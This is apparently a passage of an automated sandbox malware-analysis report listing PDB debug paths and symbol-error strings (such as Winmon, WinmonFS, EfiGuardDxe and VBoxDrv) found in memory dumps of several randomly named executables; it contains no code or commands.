Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: .pdb.dbg source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdbGCTL source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000C7A000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000003619000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000C7A000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003689000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003639000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000003529000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000C7A000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\Release\WinmonProcessMonitor.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\x64\Release\WinmonProcessMonitor.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, 